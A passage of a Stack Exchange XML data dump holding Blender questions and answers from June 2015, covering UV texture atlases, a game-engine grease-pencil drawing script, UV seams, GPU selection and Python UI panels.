  <row Id="32895" PostTypeId="2" ParentId="32871" CreationDate="2015-06-23T20:43:55.723" Score="1" Body="&lt;p&gt;You can't combine the UV maps of multipe objects in Blender. Officialy the the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/UV/TextureAtlas&quot; rel=&quot;nofollow&quot;&gt;TextureAtlas&lt;/a&gt; plugin only supports lightmaps (the link could be outdated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wait Gleb Alexandrov made a promising tutorial:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;John Carmack from id Software used megatexture. You use megatexture.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.creativeshrimp.com/game-level-texturing-introduction-part.html&quot; rel=&quot;nofollow&quot;&gt;game-level-texturing-texture-atlas&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Unity Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.assetstore.unity3d.com/en/#!/content/2859&quot; rel=&quot;nofollow&quot;&gt;Draw Call Minimizer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://answers.unity3d.com/questions/14578/whats-the-best-way-to-reduce-draw-calls.html&quot; rel=&quot;nofollow&quot;&gt;whats-the-best-way-to-reduce-draw-calls&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-06-23T20:43:55.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32896" PostTypeId="2" ParentId="32860" CreationDate="2015-06-23T20:45:31.527" Score="2" Body="&lt;p&gt;Since the game engine does not support drawing with grease pencil while the game engine is running, I made a script to draw on the camera in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the script, enter it into the text editor and name it &lt;em&gt;grease_pencil.py&lt;/em&gt;. You could call it anything, but it must end in &lt;em&gt;&lt;code&gt;.py&lt;/code&gt;&lt;/em&gt; to work as a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gM78n.png&quot; alt=&quot;Text editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Python&lt;/em&gt; controller to an &lt;em&gt;Always&lt;/em&gt; sensor, with true level triggering enabled, on any object. Change the python controller's &lt;em&gt;Execution Method&lt;/em&gt; to &lt;em&gt;Module&lt;/em&gt; and set its source to &lt;em&gt;grease_pencil.draw&lt;/em&gt; or whatever you named it only without the &lt;em&gt;.py&lt;/em&gt; and followed by &lt;em&gt;.draw&lt;/em&gt; (draw is the name of the function we are calling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/syKh1.png&quot; alt=&quot;Always sensor and Python controller&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt;, in the game engine, and click and drag to draw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7sje.gif&quot; alt=&quot;Drawing in the game engine&quot; title=&quot;It is a red pencil&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;color = (.9, 0, 0)&#xA;lines = []&#xA;&#xA;def position():&#xA;    scene = bge.logic.getCurrentScene()&#xA;    camera = scene.active_camera&#xA;&#xA;    x, y = bge.logic.mouse.position&#xA;&#xA;    vec = camera.worldPosition - camera.getScreenVect(x, y)&#xA;    vec = vec * camera.worldOrientation * camera.world_to_camera&#xA;&#xA;    return vec&#xA;&#xA;def mouse_just_down():&#xA;    return bge.logic.mouse.events[bge.events.LEFTMOUSE] == bge.logic.KX_INPUT_JUST_ACTIVATED&#xA;&#xA;def mouse_down():&#xA;    return bge.logic.mouse.events[bge.events.LEFTMOUSE] == bge.logic.KX_INPUT_ACTIVE&#xA;&#xA;def mouse_moving():&#xA;    return bge.logic.mouse.events[bge.events.MOUSEX] == bge.logic.KX_INPUT_ACTIVE or \&#xA;        bge.logic.mouse.events[bge.events.MOUSEY] == bge.logic.KX_INPUT_ACTIVE&#xA;&#xA;def draw():&#xA;    if mouse_just_down():&#xA;        lines.append([position()])&#xA;&#xA;    if mouse_down() and mouse_moving():&#xA;        lines[-1].append(position())&#xA;&#xA;    for line in lines:&#xA;        prev = None&#xA;        for vec in line:&#xA;            if prev:&#xA;                bge.render.drawLine(prev, vec, color)                &#xA;            prev = vec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-23T20:45:31.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32897" PostTypeId="1" AcceptedAnswerId="32923" CreationDate="2015-06-23T21:18:52.183" Score="1" ViewCount="681" Body="&lt;p&gt;Why do keyframes on compositor node textures not show up in the F-Curve window and Dope Sheet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0BzS1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access these keyframes in those windows?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="660" LastEditDate="2015-06-24T15:31:29.597" LastActivityDate="2015-06-24T15:31:29.597" Title="Why are the keyframes for my texture not appearing in the f-curve window or dope sheet?" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;compositor&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32898" PostTypeId="2" ParentId="31004" CreationDate="2015-06-23T21:34:11.273" Score="2" Body="&lt;p&gt;The program that I use to convert my video footage to the same frame rate is Handbrake (&lt;a href=&quot;https://handbrake.fr/&quot; rel=&quot;nofollow&quot;&gt;https://handbrake.fr/&lt;/a&gt;). It's fairly easy to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, in Handbrake, I change &lt;strong&gt;Anamorphic&lt;/strong&gt; to &lt;strong&gt;none&lt;/strong&gt;, &lt;strong&gt;Constant Quality&lt;/strong&gt; down to Zero, and then I set to &lt;strong&gt;Constant Framerate&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When editing video in Blender, you almost always want to use the same exact framerate. I convert everything to the output framerate through handbrake first.&lt;/p&gt;&#xA;" OwnerUserId="5122" LastActivityDate="2015-06-23T21:34:11.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32899" PostTypeId="1" CreationDate="2015-06-23T21:50:36.390" Score="0" ViewCount="1532" Body="&lt;p&gt;So, I have a mesh (a tie fighter, actually) with this plate on the end:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yx3vL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, the plate is misaligned with the rest of the spaceship.  I need to rotate it.  However, this drags the vertices that lead from the arm to the plate and leads to some very funny results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could detach it, rotate it, and then reattach it, but then it would no longer truly be connected to the rest of the mesh.. .and I'm ramping up to model for a 3D printer, so I'd like to work this out!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2016-05-20T04:29:46.053" Title="Can I rotate part of the mesh while reserving topology?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32900" PostTypeId="1" AcceptedAnswerId="44222" CreationDate="2015-06-23T23:37:44.537" Score="16" ViewCount="7612" Body="&lt;p&gt;When rendering volumes with &lt;em&gt;Film &gt; Transparent&lt;/em&gt; enabled, the alpha appears to be the wrong type (premultiplied/straight).&#xA;In the 3D view it works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yriJ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a known &lt;a href=&quot;https://developer.blender.org/T42755&quot; rel=&quot;noreferrer&quot;&gt;bug&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to work around this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3401" LastEditDate="2015-06-24T01:37:48.937" LastActivityDate="2017-06-29T16:14:06.403" Title="How to properly render smoke on a transparent background?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;&lt;volumetrics&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32901" PostTypeId="2" ParentId="32786" CreationDate="2015-06-24T00:04:38.807" Score="2" Body="&lt;p&gt;&lt;strong&gt;Found the solution!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was simply the case that Blender no longer used the updated AMD GPU as the primary card when running Blender, and instead used the Intel card which was not up to date. Consequently parts of Blender which require OpenGL (such as the viewport smoke simulation or OpenGL render, in my case) will not display correctly, or will throw up errors when used. This is easy to fix by reconfiguring which card is used when running the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the steps taken for my &lt;strong&gt;Windows 7 x64 laptop&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; &lt;code&gt;Right Click&lt;/code&gt; on the Desktop, select the &lt;code&gt;Graphics Properties&lt;/code&gt; option from the drop down menu. &lt;strong&gt;Note:&lt;/strong&gt; If there is a &lt;code&gt;Configure Switchable Graphics&lt;/code&gt; option (as shown in the screenshot), click that instead and skip to step 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XOYm9.png&quot; alt=&quot;Fix Image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Under the &lt;code&gt;Power&lt;/code&gt; tab, click &lt;code&gt;Switchable Graphics Application Settings&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0cFsr.png&quot; alt=&quot;Fix Image2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; This will bring you to a window with &lt;code&gt;Recent Applications&lt;/code&gt; and &lt;code&gt;All Applications&lt;/code&gt; drop down menus. &lt;em&gt;Don't be fooled&lt;/em&gt; if you see Blender in the 'all applications' menu, if there are multiple versions saved on the same machine yet under different file locations, you will sometimes need to configure each individually. To do this click the &lt;code&gt;Add Application&lt;/code&gt; button by the dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YG6uU.png&quot; alt=&quot;Fix Image3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Navigate to the file location that the Blender Version is saved at. Select the app and hit &lt;code&gt;Open&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bvsqu.png&quot; alt=&quot;Fix Image4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5)&lt;/strong&gt; When you do this you will be brought back to the &lt;code&gt;All Applications&lt;/code&gt; drop down menu. The selected app will now be highlighted (in this case it is the same app as was already on the list at the outset) and will have a drop down menu on the right hand side. Click the menu and choose &lt;code&gt;High Performance&lt;/code&gt;. This will set the AMD graphics card as the primary driver used when running Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkcYy.png&quot; alt=&quot;Fix Image5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6)&lt;/strong&gt; Click &lt;code&gt;Apply&lt;/code&gt; and restart Blender. This should hopefully fix any issues, however you may need to repeat the process when installing later versions! :)&lt;/p&gt;&#xA;" OwnerUserId="15132" LastActivityDate="2015-06-24T00:04:38.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32902" PostTypeId="1" CreationDate="2015-06-24T00:19:31.053" Score="3" ViewCount="189" Body="&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a bullet physics simulation in blender game where a bullet moves by use of key framing and collides with cell fractured objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objects are two rectangles and I used game logic bricks to stop the simulation of the objects until the bullet reaches them. The simulation works fine when I press &lt;kbd&gt;P&lt;/kbd&gt;, and it appears to be recording correctly, but when I try to press the play button underneath the timeline after I end the game it doesn't play what I just recorded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It usually plays back the simulation as if the logic bricks were not being used (the cell fractured objects fall before the bullet reaches them). My goal is recording the animation and rendering it using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My simulation is very similar to the &lt;a href=&quot;https://www.youtube.com/watch?v=zkrvrQDDcPQ&quot; rel=&quot;nofollow&quot;&gt;Blender Cookie fracturing a cup of coffee tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15200" LastEditorUserId="2217" LastEditDate="2015-11-22T22:28:36.740" LastActivityDate="2015-11-22T22:28:36.740" Title="How can I record a physics animation in the BGE" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-06-24T02:14:35.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="32905" PostTypeId="2" ParentId="32891" CreationDate="2015-06-24T02:02:15.393" Score="2" Body="&lt;p&gt;On your UV sphere in edit mode, select the segments on the ring that you want as the location of your mouth, thus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l99X6.jpg&quot; alt=&quot;Rip_01&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then press the &lt;kbd&gt;V&lt;/kbd&gt; key, which creates a new set of vertices, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsjrX.jpg&quot; alt=&quot;rip_02&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do it manually, but deleting an edge perpendicular to the ring at which you want to locate your mouth, duplicating the vertex on the &quot;mouth&quot; end of the deleted edge, and connecting the duplicated vertex to the vertices in the ring above. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-24T02:02:15.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32906" PostTypeId="2" ParentId="32450" CreationDate="2015-06-24T02:43:25.217" Score="2" Body="&lt;p&gt;The workaround WorldSEnder mentioned above is the only solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Duplicate each Texture Input node and get the RBG value from one, and the Alpha value from the other input.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The stance here seems to be that texture-files are simply not expected to contain unrelated information. The optimization to pack several unrelated channels into one texture-file to improve memory-locality on the GPU is just not that relevant to Blender to warrant a change to the behavior of Texture Input nodes.&lt;/p&gt;&#xA;" OwnerUserId="14997" LastActivityDate="2015-06-24T02:43:25.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32907" PostTypeId="2" ParentId="32893" CreationDate="2015-06-24T02:56:34.843" Score="1" Body="&lt;p&gt;I would export out of vegas as a jpg sequence. then blender will use each file as an exact frame. you can then render out of blender and import into vegas matching the same frames per second.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-06-24T02:56:34.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32909" PostTypeId="2" ParentId="32879" CreationDate="2015-06-24T05:46:40.313" Score="2" Body="&lt;p&gt;I'm just setting up a Mac and aren't too familiar but having just downloaded the latest LuxRender1.5 and installed LuxBlend, I see the API choice is not called API2.x, rather it is called &lt;em&gt;LuxCore API (experimental)&lt;/em&gt; so I am assuming this is the 2.x&#xA;Here is a screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vNEUE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vNEUE.png&quot; alt=&quot;lux API&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: But be aware that there may be performance issues when using the viewport. This post mentions and gives some explanation:&#xA;&lt;a href=&quot;https://groups.google.com/forum/#!topic/appleseed-dev/YZ5dR9qvUV0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://groups.google.com/forum/#!topic/appleseed-dev/YZ5dR9qvUV0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15038" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-29T11:27:18.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32910" PostTypeId="2" ParentId="32891" CreationDate="2015-06-24T07:49:52.377" Score="3" Body="&lt;p&gt;Create a sphere, move the pivot point to the point where you want the mouth to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1URST.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate. On one sphere delete the top half. On the other delete the lower half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9TrZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Animate both objects by rotating them in opposite directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8fqM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally create a cycle by extrapolating the keyframes in the curve editor (Channel-&gt;Extrapolate-&gt;Make cyclic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an empty and parent both hemispheres to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move the object just move the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gE7VG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Trijb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-06-24T07:49:52.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32911" PostTypeId="2" ParentId="32692" CreationDate="2015-06-24T08:15:47.220" Score="3" Body="&lt;p&gt;As is the case with any sufficiently complex thing, it takes time for all of this to become internalized / second nature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your situation, the base object (the deformed cube) was not just scaled to become elongated, but at some point you also translated one of the faces giving the base object the sheered look. This is one reason to use multiple views of your object to help catch deformations which might be tricky to see from just a perspective view. (Over time you will see all of this immediately.. but it takes practice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUfPK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you correct the sheer (best just to use a new object, or learn how to snap edges to the (x,y,z) coordinates of other vertices) , you'll still get deformation in those parts of the track which bend a lot. This might be OK if you're aiming for non-photo-realism, else there are hefty tutorials for tank tracks.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-24T08:20:59.873" LastActivityDate="2015-06-24T08:20:59.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32912" PostTypeId="1" AcceptedAnswerId="32914" CreationDate="2015-06-24T08:43:26.477" Score="2" ViewCount="590" Body="&lt;p&gt;Where to prop_search for vertex groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop_search(context.scene, &quot;vertex_group_density&quot;, ob, &quot;vertex_groups&quot;, text=&quot;Density&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;context.scene seems to be the wrong place, but which is the right one? In e.g. the particle system dialog source, there's just a &quot;psys&quot; instead of context.scene, but that doesn't give me a further lead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Man-pages say &quot;Data from which to take property&quot;, I'm not exactly sure what is meant by that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; prop_search(data, property, search_data, search_property, text=&quot;&quot;, icon='NONE')&#xA;&#xA; Parameters:    &#xA;&#xA;    data (AnyType, (never None)) – Data from which to take property.&#xA;    property (string) – Identifier of property in data.&#xA;    search_data (AnyType, (never None)) – Data from which to take collection to search in.&#xA;    search_property (string) – Identifier of search collection property.&#xA;    text (string, (optional)) – Override automatic text of the item.&#xA;    icon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-06-24T10:21:45.150" Title="Where to prop_search for vertex groups?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32913" PostTypeId="1" AcceptedAnswerId="32922" CreationDate="2015-06-24T08:49:24.880" Score="11" ViewCount="20107" Body="&lt;p&gt;I want to clear UV seams on a object and remake them myself, but neither &lt;em&gt;UV Mapping &gt; Clear Seams&lt;/em&gt; nor &lt;em&gt;UV Mapping &gt; Reset Seems&lt;/em&gt; to work. Please see attachment images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my mesh before i do &lt;em&gt;UV Mapping &gt; Clear Seams&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fV02R.png&quot; alt=&quot;Before clearing seams&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my mesh after I did &lt;em&gt;UV Mapping &gt; Clear Seams&lt;/em&gt;. Seams still present:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/32fgF.png&quot; alt=&quot;After clear seams&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this problem? I can't clearly cut my mesh while those seams are around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/294/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=294&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I think this model was originally created in 3Ds Max.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12973" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2020-02-07T12:57:12.397" Title="Clear UV seams not clearing seams" Tags="&lt;modeling&gt;&lt;uv&gt;&lt;import&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32914" PostTypeId="2" ParentId="32912" CreationDate="2015-06-24T09:07:24.890" Score="2" Body="&lt;p&gt;here a simple answer using one of the TextEditor -&gt; Python templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the scene context of the properties editor&quot;&quot;&quot;&#xA;    bl_label = &quot;Layout Demo2&quot;&#xA;    bl_idname = &quot;SCENE_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        scn = context.scene&#xA;        row = layout.row()&#xA;        row.prop_search(scn, &quot;vgr&quot;, context.active_object, &quot;vertex_groups&quot;, text=&quot;Density&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LayoutDemoPanel)&#xA;    bpy.types.Scene.vgr = bpy.props.StringProperty(name=&quot;vertex_group_density&quot;)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LayoutDemoPanel)&#xA;    del bpy.types.Scene.vgr&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mFlyx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we use &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.types.Scene.vgr&lt;/code&gt; to register a StringProperty to keep the string name of the &lt;em&gt;prop_search&lt;/em&gt; choice. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Accessing the 'vertex_group' happens by passing an object reference, this can be done by using &lt;code&gt;context.active_object&lt;/code&gt; or &lt;code&gt;ob&lt;/code&gt; if you alias it earlier in the code.. you could have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects[some_object_name]&#xA;row.prop_search(scn, &quot;vgr&quot;, ob, &quot;vertex_groups&quot;, text=&quot;Density&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-24T10:21:45.150" LastActivityDate="2015-06-24T10:21:45.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32915" PostTypeId="2" ParentId="32913" CreationDate="2015-06-24T09:30:34.163" Score="2" Body="&lt;p&gt;This problem seems to appear more often when importing from another platform into Blender. I imported a mesh I made in Blender version 2.49 into Blender 2.68A, and had a similar problem: I had what appeared to be seams that would not clear with the &lt;kbd&gt;CTRL&lt;/kbd&gt; +  &lt;kbd&gt;E&lt;/kbd&gt; shortcut. The solution was to use &lt;kbd&gt;SHFT&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;, and set the value of the crease to  -1 on the numeric keypad.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-24T09:52:44.130" LastActivityDate="2015-06-24T09:52:44.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32916" PostTypeId="2" ParentId="31877" CreationDate="2015-06-24T09:50:11.440" Score="1" Body="&lt;p&gt;Unfortunately I don't have nvidia/cuda on my system, but I happened to notice information that most likely will solve your problem. &#xA;See this link first about &lt;a href=&quot;https://blender.stackexchange.com/a/7486&quot;&gt;information how to install nvidia drivers and enable cuda&lt;/a&gt; just to check that you're setup is fine.&#xA;And then have a look this forum post where &#xA;&lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?pid=1389028#p1389028&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nusaman is using blender with out root (forum post #12)&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recap:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;make sure that you have latest drivers installed. (Nusaman used: cuda-5.5.22-1 and nvidia-334.21-2, but he's using archlinux)&lt;/li&gt;&#xA;&lt;li&gt;Start blender or some other cuda program (like cudaminer) as root. &lt;/li&gt;&#xA;&lt;li&gt;Then close that program (could be that firts render something with blender+cude as root)&lt;/li&gt;&#xA;&lt;li&gt;Start blender as normal user&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I gathered from multiple sources is that nvidia cuda drivers need to be loaded and for some reason initialison of cuda needs root, but will work with normal user after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that you might need extra dkms and dev packages also, to get this working. &lt;/p&gt;&#xA;" OwnerUserId="15208" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-06-24T09:50:11.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32917" PostTypeId="1" AcceptedAnswerId="32919" CreationDate="2015-06-24T09:52:32.550" Score="1" ViewCount="1449" Body="&lt;p&gt;I just started working with Blender Drivers and some Scripted Expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off, I wanted to apply an objects rotation to another object, but inverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8Vfh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not working and I don't know why, becuase when I type my expression into console, it returns the correct value that I need.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="3710" LastEditDate="2015-06-24T10:01:33.747" LastActivityDate="2015-06-24T11:19:05.353" Title="Driver: Scripted Expression (Copy and invert some Objects Rotation and apply it to another Object)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drivers&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" 